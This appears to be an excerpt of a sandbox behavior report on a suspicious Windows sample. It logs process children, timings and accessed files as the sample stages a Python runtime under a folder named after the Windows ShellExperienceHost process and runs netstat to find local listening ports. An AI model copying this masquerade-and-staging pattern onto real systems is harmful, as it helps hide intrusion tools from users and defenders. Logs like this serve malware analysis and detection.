        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CRED.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CRYPT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32EVENT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32EVTLOG.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32FILE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32GUI.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32HELP.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32INET.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32JOB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32LZ.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32NET.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PDH.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PIPE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PRINT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PROCESS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PROFILE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32RAS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32SECURITY.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32SERVICE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32TRACE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32TRANSACTION.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32TS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32WNET.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WINXPGUI.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\_WIN32SYSLOADER.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\_WINXPTHEME.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\COMPOSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\CONSTRUCTOR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\CYAML.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\DUMPER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\EMITTER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\ERROR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\EVENTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\LOADER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\NODES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\PARSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\READER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\REPRESENTER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\RESOLVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\SCANNER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\SERIALIZER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\TOKENS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_CFFI_BACKEND.CP37-WIN32.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_DISTUTILS_HACK\OVERRIDE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_DISTUTILS_HACK\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_YAML.CP37-WIN32.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LICENSE.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYEXPAT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON3.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37.ZIP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYTHON37._PTH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SELECT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SQLITE3.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UCRTBASE.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\UNICODEDATA.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\VCRUNTIME140.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\WINSOUND.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_ASYNCIO.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_BZ2.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_CTYPES.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_DECIMAL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_ELEMENTTREE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_HASHLIB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_LZMA.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_MSI.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_MULTIPROCESSING.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_OVERLAPPED.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_QUEUE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SOCKET.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SQLITE3.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SSL.PYD
        C:\WINDOWS\SYSWOW64\WTSAPI32.DLL
        C:\WINDOWS\SYSWOW64\WINSTA.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\TASKSCHD.DLL
        C:\WINDOWS\SYSWOW64\XMLLITE.DLL
        
        Process children
        
        2740
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C NETSTAT -ANO|FINDSTR LISTEN|FINDSTR 127.0.0.1:
        
        Time lapse
        
        47.659487
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\NETSTAT.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\FINDSTR.EXE
        
        Process children
        
        2688
        
        Image path
        
        NETSTAT -ANO
        
        Time lapse
        
        47.690687
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\DBGHELP.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\SNMPAPI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\NETSTAT.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\INETMIB1.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\WSHIP6.DLL
        
        3772
        
        Image path
        
        FINDSTR LISTEN
        
        Time lapse
        
        47.721886
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\FINDSTR.EXE.MUI
        
        3780
        
        Image path
        
        FINDSTR 127.0.0.1:
        
        Time lapse
        
        47.753086
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\FINDSTR.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        
        3992
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\
        
        Time lapse
        
        63.961516
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST
        
        3984
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\
        
        Time lapse
        
        68.563522
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE
        
        204
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\
        
        Time lapse
        
        68.594723
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH
        
        3080
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\
        
        Time lapse
        
        64.179915
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI
        
        208
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\
        
        Time lapse
        
        64.211115
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES
        
        3112
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\
        
        Time lapse
        
        64.257916
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST
        
        3108
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\
        
        Time lapse
        
        64.289116
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT
        
        3088
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\
        
        Time lapse
        
        64.320315
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO
        
        4088
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\
        
        Time lapse
        
        64.351515
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI
        
        3084
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\
        
        Time lapse
        
        64.382715
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO
        
        3956
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\
        
        Time lapse
        
        64.429516
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI
        
        4076
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\
        
        Time lapse
        
        64.445116
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO
        
        4048
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\
        
        Time lapse
        
        64.476317
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET
        
        4036
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\
        
        Time lapse
        
        64.507517
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO
        
        4040
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CLI\
        
        Time lapse
        
        64.585516
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CLI
        
        3920
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\METADATA\
        
        Time lapse
        
        64.632317
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\METADATA
        C:\WINDOWS\SYSTEM32\EN-US\CONHOST.EXE.MUI
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\CONHOST.EXE
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\EN-US\USER32.DLL.MUI
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\FONTS\STATICCACHE.DAT
        
        3980
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\
        
        Time lapse
        
        64.663517
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD
        
        3892
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\
        
        Time lapse
        
        64.679117
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO
        
        4028
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\
        
        Time lapse
        
        64.710318
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO
        
        3152
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\
        
        Time lapse
        
        64.725916
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY
        
        3148
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\
        
        Time lapse
        
        64.741516
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO
        
        3172
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\
        
        Time lapse
        
        64.772717
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
